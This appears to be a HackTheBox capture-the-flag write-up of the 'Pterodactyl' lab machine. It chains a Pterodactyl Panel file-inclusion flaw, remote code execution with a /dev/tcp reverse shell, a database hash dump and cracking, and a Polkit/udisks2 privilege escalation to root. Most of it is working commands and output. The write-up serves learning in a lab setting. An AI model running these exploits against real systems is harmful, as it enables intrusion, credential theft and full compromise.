HackTheBox — Pterodactyl Machine Writeup

Difficulty: Medium | OS: Linux (openSUSE)


Table of Contents

  1. Machine Overview
  2. Credentials & Flags Cheatsheet
  3. Phase 1 — Reconnaissance
  4. Phase 2 — Enumeration
  5. Phase 3 — Vulnerability Discovery (CVE-2025-49132)
  6. Phase 4 — LFI Exploitation (Extracting Secrets)
  7. Phase 5 — Remote Code Execution
  8. Phase 6 — Post-Exploitation (DB Access & Hash Cracking)
  9. Phase 7 — Stable SSH Access & User Flag
  10. Phase 8 — Privilege Escalation (CVE-2025-6018 + CVE-2025-6019)
  11. Phase 9 — Root Flag
  12. Lessons Learned & Key Takeaways
  13. Full Attack Chain Diagram

Machine Overview

Field Value
Machine Name Pterodactyl
IP Address 10.129.4.246
OS Linux (openSUSE)
Difficulty Medium
Attack Machine IP 10.10.15.1 (tun0)
Key CVEs CVE-2025-49132, CVE-2025-6018, CVE-2025-6019

Summary: Pterodactyl is a medium-difficulty Linux box running the Pterodactyl Panel game server management software. The attack chain involves an unauthenticated Local File Inclusion (LFI) vulnerability to extract database credentials and an application key, which is leveraged to gain Remote Code Execution (RCE). From there, we extract bcrypt password hashes from MariaDB, crack them, and SSH in as a user. Privilege escalation chains two CVEs targeting the PAM/Polkit authentication bypass and a udisks2 TOCTOU race condition to achieve root.


Credentials & Flags Cheatsheet

Type Value
User Flag 49225500f***********a337b753
Root Flag (captured from /root/root.txt)
DB Username pterodactyl
DB Password PteraPanel
DB Name panel
DB Host 127.0.0.1:3306
APP_KEY base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Panel User phileasfogg3@pterodactyl.htb
Panel Password (cracked) !QAZ2wsx
SSH User phileasfogg3
SSH Password !QAZ2wsx

Phase 1 — Reconnaissance

Nmap Scan

nmap -sC -sV -oA target 10.129.4.246

Results:

PORT   STATE  SERVICE  VERSION
22/tcp open   ssh      OpenSSH 9.6
80/tcp open   http     nginx 1.21.5
443/tcp closed https
8080/tcp closed http-alt

Key observations:

  • Port 80 HTTP with nginx 1.21.5 — redirects to http://pterodactyl.htb/
  • Port 22 SSH — useful later for stable access

Hosts File Setup

sudo nano /etc/hosts
# Add:
10.129.4.246 pterodactyl.htb
10.129.4.246 panel.pterodactyl.htb
10.129.4.246 play.pterodactyl.htb

Phase 2 — Enumeration

Web Directory Bruteforcing

gobuster dir -u http://pterodactyl.htb -w /usr/share/wordlists/dirb/common.txt

Interesting findings:

  • /phpinfo.php — Status 200, PHP 8.4.8 exposed
  • /changelog — Revealed critical system details

Changelog Discovery

Visiting http://pterodactyl.htb/changelog revealed:

  • Pterodactyl Panel v1.11.10 installed
  • MariaDB 11.8.3 backend
  • PHP-FPM enabled
  • PHP-PEAR installed ← critical for exploitation
  • Subdomain: play.pterodactyl.htb configured

phpinfo.php Analysis

Browsing to http://pterodactyl.htb/phpinfo.php revealed critical PHP configuration:

Setting Value
PHP Version 8.4.8
disable_functions no value (unrestricted!)
open_basedir no value (no directory restrictions!)
allow_url_fopen On
allow_url_include Off
include_path .:/usr/share/php8:/usr/share/php/PEAR
Server User wwwrun
DOCUMENT_ROOT /var/www/html

Key Insight: disable_functions being empty means full RCE is possible if we can get code execution. The PEAR path /usr/share/php/PEAR is critical for the pearcmd exploit technique.

Subdomain Fuzzing

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" \
  -fs [default_size]

Found: panel.pterodactyl.htb → Status 200, Pterodactyl Panel login page


Phase 3 — Vulnerability Discovery (CVE-2025-49132)

What is CVE-2025-49132?

CVE-2025-49132 is an unauthenticated LFI to RCE vulnerability affecting Pterodactyl Panel ≤ 1.11.10.

Root Cause: The /locales/locale.json endpoint accepts locale and namespace parameters that are passed directly to PHP’s include() without sanitization or authentication. A hash parameter intended to prevent abuse is never enforced on unpatched versions.

The endpoint:

http://panel.pterodactyl.htb/locales/locale.json?locale=<PATH>&namespace=<FILE>

Behavior:

  • locale parameter = directory traversal path
  • namespace parameter = filename (.php extension automatically appended)
  • Result: include($locale . '/' . $namespace . '.php')

Testing LFI:

curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/app"

Confirming traversal depth (7 levels):

curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/database"

When this returns JSON data instead of [], we know the path is correct.


Phase 4 — LFI Exploitation (Extracting Secrets)

Extracting Database Credentials

curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/database" | jq

Result:

{
  "config/database": {
    "connections": {
      "mysql": {
        "host": "127.0.0.1",
        "port": "3306",
        "database": "panel",
        "username": "pterodactyl",
        "password": "PteraPanel"
      }
    },
    "redis": {
      "host": "127.0.0.1",
      "port": "6379",
      "password": null,
      "database": "0"
    }
  }
}

Found: pterodactyl:PteraPanel@127.0.0.1:3306/panel

Extracting APP_KEY

curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/app" | jq

Result:

{
  "config/app": {
    "name": "Pterodactyl",
    "version": "1.11.10",
    "environment": "production",
    "cipher": "AES-256-CBC",
    "APP_KEY": "base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY="
  }
}

Found: APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

Additional Config Reads

# Session config (reveals Redis driver, encryption settings)
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/session" | jq

# Auth config (reveals lockout settings)
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/auth" | jq

# Pterodactyl-specific config
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/pterodactyl" | jq

Session config revealed:

  • Driver: redis
  • Encryption: enabled (encrypt: 1)
  • Cookie name: pterodactyl_session

Pterodactyl config revealed:

  • author_email: pterodactyl@pterodactyl.htb
  • 2fa_required: 0

Note: Files like /etc/passwd, user.txt, etc. could NOT be read directly because the LFI automatically appends .php — it can only include PHP files.


Phase 5 — Remote Code Execution

Why Pearcmd Failed Manually

We spent considerable time trying to manually exploit pearcmd via crafted curl commands. The core issue was that special characters (<, >, ?) in <?php ?> tags were being URL-decoded and breaking argument parsing.

The key lesson: requests library and manual curl silently URL-encode characters that break PHP tags. The PoC tool solves this with curl -g (globoff) and hex-encoding the command (hex2bin()).

The Winning Approach — CVE-2025-49132 PoC

# Clone the improved PoC
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

The PoC’s key innovations over manual attempts:

  1. Uses curl -g (disables glob parsing) via subprocess — bypasses Python URL encoding
  2. Hex-encodes the command (system(hex2bin('...'))) — no special chars, works with any command including reverse shells with >& and /dev/tcp/
  3. Dynamically supports --pear-dir for non-standard PEAR paths

Setting Up the Reverse Shell

Terminal 1 — Netcat listener:

nc -lvnp 4444

Terminal 2 — Create reverse shell script:

echo 'sh -i >& /dev/tcp/10.10.15.1/4444 0>&1' > shell.sh

Terminal 3 — HTTP staging server:

python3 -m http.server 8080

Terminal 4 — Fire the exploit:

cd CVE-2025-49132
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.15.1/4444 0>&1" \
  --pear-dir /usr/share/php/PEAR

Critical detail: The --pear-dir /usr/share/php/PEAR flag is required because this is an openSUSE system. Most PoCs hardcode /usr/share/php (Debian/Ubuntu path) which fails on openSUSE.

Shell received:

connect to [10.10.15.1] from (UNKNOWN) [10.129.4.246] 48846
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>

Shell obtained as wwwrun


Phase 6 — Post-Exploitation (DB Access & Hash Cracking)

Querying MariaDB Internally

From the wwwrun shell:

mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel -e "SELECT email,password FROM users;"

Result:

+------------------------------+--------------------------------------------------------------+
| email                        | password                                                     |
+------------------------------+--------------------------------------------------------------+
| headmonitor@pterodactyl.htb  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3@pterodactyl.htb | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+------------------------------+--------------------------------------------------------------+

Two accounts found:

  • headmonitor — System administrator
  • phileasfogg3 — Regular user

Cracking the Hashes

# Save hashes to file
cat > hashes.txt << 'EOF'
$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
EOF

# Crack with hashcat (bcrypt = mode 3200)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force

Result:

$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx

Cracked: phileasfogg3 → !QAZ2wsx

Note: headmonitor’s hash did not crack from rockyou.txt — it’s a stronger password.


Phase 7 — Stable SSH Access & User Flag

SSH Login

ssh phileasfogg3@10.129.4.246
# Password: !QAZ2wsx

Output:

Have a lot of fun...
Last login: Mon Feb 23 20:11:19 2026 from 10.10.15.1
phileasfogg3@pterodactyl:~>

User Flag

phileasfogg3@pterodactyl:~> cat user.txt
49225500f6377f737a31d8dca337b753

Initial Enumeration as phileasfogg3

# Check sudo permissions
phileasfogg3@pterodactyl:~> sudo -l

# Result: (ALL) ALL — full sudo but requires password

# Check mail — IMPORTANT CLUE!
phileasfogg3@pterodactyl:~> cat /var/mail/phileasfogg3

Mail from headmonitor:

Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)

Attention all users,
Unusual activity has been observed from the udisks daemon (udisksd). 
No confirmed compromise at this time, but increased vigilance is required.
Do not connect untrusted external media. Review your sessions for suspicious activity.

The mail is the hint! It points directly to udisks as the privilege escalation vector.


Phase 8 — Privilege Escalation (CVE-2025-6018 + CVE-2025-6019)

Understanding the Vulnerability Chain

CVE-2025-6018 (The Bypass):

  • A misconfiguration in PAM/Polkit allows SSH sessions to be flagged as Active=yes
  • By setting specific environment variables in ~/.pam_environment, we trick systemd-logind and Polkit into believing our SSH session is a physical console session
  • This bypasses password requirements for hardware management tools like udisks2

CVE-2025-6019 (The Weapon):

  • libblockdev (used by udisks2) fails to apply the nosuid security flag when temporarily mounting a filesystem during maintenance operations
  • A malicious XFS image with a SUID root shell binary is mounted temporarily without nosuid
  • A C program (“catcher”) monitors /proc/mounts in real-time and executes the SUID payload the moment the window appears

Step 1: Download the Combined PoC (Attacker Machine)

cd ~/Pterodactyl
git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC
cd CVE-2025-6018-6019-PoC

Step 2: Install Dependencies & Build (Attacker Machine)

# Install xfsprogs (required for mkfs.xfs to create XFS image)
sudo apt update
sudo apt install xfsprogs gcc -y

# Build the payload
chmod +x build_poc.sh
./build_poc.sh

Output:

[*] Building CVE-2025-6018/6019 PoC...
[+] Compiled static rootbash.
[+] Created XFS image.
[+] Injected SUID shell into image.
[+] Compiled static catcher.
[SUCCESS] Upload 'exploit.img' and 'catcher' to the target /tmp folder.

Files created:

  • exploit.img — 400MB XFS filesystem image with SUID root shell injected
  • catcher — Compiled C binary that wins the race condition

Step 3: Apply CVE-2025-6018 Bypass (Target Machine)

# Set environment variables to trick Polkit into thinking we're a local session
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment

Log out and SSH back in, then verify:

loginctl show-session $XDG_SESSION_ID | grep Active
# Must show: Active=yes

Active=yes confirmed — Polkit bypass successful

Step 4: Transfer Payload Files (Attacker Machine)

# Start HTTP server
python3 -m http.server 87

On target:

cd /tmp
wget http://10.10.15.1:87/exploit.img   # 400MB XFS image
wget http://10.10.15.1:87/catcher       # Race condition catcher
wget http://10.10.15.1:87/exploit.sh    # Exploit orchestrator
chmod +x catcher exploit.sh

Step 5: Fire the Exploit (Target Machine)

phileasfogg3@pterodactyl:/tmp> ./exploit.sh

Output:

[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] Sniper started. Waiting for ANY loop mount...
[*] (BG) Setting up loop device...
[*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop1...
[!!!] HIT! Mounted at: /tmp/blockdev.EX78K3
pterodactyl:/tmp #

Verify root:

pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)

ROOT SHELL OBTAINED!


Phase 9 — Root Flag

pterodactyl:/tmp # cd /root
pterodactyl:/root # ls
.bash_history  bin     .config  inst-sys  .local    .ssh
.bashrc        .cache  .gnupg   .lesshst  root.txt
pterodactyl:/root # cat root.txt

Root flag captured!


Lessons Learned & Key Takeaways

1. Distribution Matters for PEAR Path

The PEAR path varies by Linux distribution:

Distribution PEAR Path
Debian / Ubuntu /usr/share/php
openSUSE /usr/share/php/PEAR
Alpine /usr/share/php84
RHEL / Rocky /usr/share/pear

This machine runs openSUSE — always check phpinfo.php for include_path to confirm.

2. Check /var/mail for Hints

The mail hint pointing to udisksd activity was the key to finding the privilege escalation vector. Always enumerate:

ls /var/mail/
cat /var/mail/$USER

3. LFI Only Works on PHP Files

The LFI in CVE-2025-49132 automatically appends .php. This means:

  • Can read: config/database.php, config/app.php, .env.php
  • Cannot read: /etc/passwd, user.txt, SSH keys, regular files

4. CVE-2025-6018 Must Come Before CVE-2025-6019

The Active=yes session status is a prerequisite for CVE-2025-6019. Without the PAM bypass:

  • udisksctl loop-setup prompts for root password
  • The exploit fails immediately

The fix is simple: add two lines to ~/.pam_environment and re-login.

5. Race Conditions Need Compiled Binaries

Bash loops are too slow to win the TOCTOU race in CVE-2025-6019. The C catcher binary monitors /proc/mounts with microsecond precision. Always use compiled tools for race conditions.


Full Attack Chain Diagram

[Attacker]
    │
    ├─ 1. RECON ──────────────────────────────────────────────────────────────
    │       nmap → Port 80 (nginx), Port 22 (SSH)
    │       gobuster → /phpinfo.php, /changelog
    │       ffuf → panel.pterodactyl.htb
    │
    ├─ 2. DISCOVERY ──────────────────────────────────────────────────────────
    │       /changelog → Pterodactyl v1.11.10, PHP-PEAR installed
    │       /phpinfo.php → PHP 8.4.8, PEAR at /usr/share/php/PEAR,
    │                      disable_functions=empty, open_basedir=empty
    │
    ├─ 3. LFI (CVE-2025-49132) ───────────────────────────────────────────────
    │       /locales/locale.json?locale=../../../../../../../var/www/pterodactyl
    │                           &namespace=config/database
    │       → DB: pterodactyl:PteraPanel@127.0.0.1:3306/panel
    │
    │       /locales/locale.json?locale=...&namespace=config/app
    │       → APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
    │
    ├─ 4. RCE (pearcmd + hex2bin) ────────────────────────────────────────────
    │       python3 exploit.py http://panel.pterodactyl.htb
    │           --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.15.1/4444 0>&1"
    │           --pear-dir /usr/share/php/PEAR
    │       → Shell as wwwrun
    │
    ├─ 5. DB QUERY ───────────────────────────────────────────────────────────
    │       mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel
    │           -e "SELECT email,password FROM users;"
    │       → phileasfogg3: $2y$10$PwO0TBZA8hLB...
    │       → headmonitor:  $2y$10$3WJht3/5GOQ...
    │
    ├─ 6. HASH CRACK ─────────────────────────────────────────────────────────
    │       hashcat -m 3200 hashes.txt rockyou.txt
    │       → phileasfogg3: !QAZ2wsx
    │
    ├─ 7. SSH + USER FLAG ────────────────────────────────────────────────────
    │       ssh phileasfogg3@10.129.4.246 (password: !QAZ2wsx)
    │       cat ~/user.txt → 49225500f6377f737a31d8dca337b753
    │
    ├─ 8. PRIVESC PREP (CVE-2025-6018) ───────────────────────────────────────
    │       echo "XDG_SEAT=seat0" > ~/.pam_environment
    │       echo "XDG_VTNR=1" >> ~/.pam_environment
    │       [re-login]
    │       loginctl show-session $XDG_SESSION_ID | grep Active → Active=yes
    │
    ├─ 9. PRIVESC (CVE-2025-6019) ────────────────────────────────────────────
    │       [attacker] build_poc.sh → exploit.img + catcher
    │       [target] wget exploit.img catcher exploit.sh
    │       [target] ./exploit.sh
    │       → TOCTOU race won → SUID shell executed
    │       → uid=0(root)
    │
    └─ 10. ROOT FLAG ─────────────────────────────────────────────────────────
            cat /root/root.txt → ROOTED

Commands Quick Reference

LFI Reading

# Template
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/FILE" | jq

# Files that worked:
# config/database → DB creds
# config/app      → APP_KEY, version
# config/session  → Session driver, cookie settings
# config/auth     → Lockout settings
# config/mail     → SMTP config
# config/pterodactyl → Panel-specific settings

RCE

python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "COMMAND" \
  --pear-dir /usr/share/php/PEAR

Hash Cracking

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force

Privilege Escalation

# Step 1: Bypass Polkit (then re-login)
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment

# Step 2: Verify bypass worked
loginctl show-session $XDG_SESSION_ID | grep Active

# Step 3: Run exploit
./exploit.sh

Happy hacking! — ogdmerlin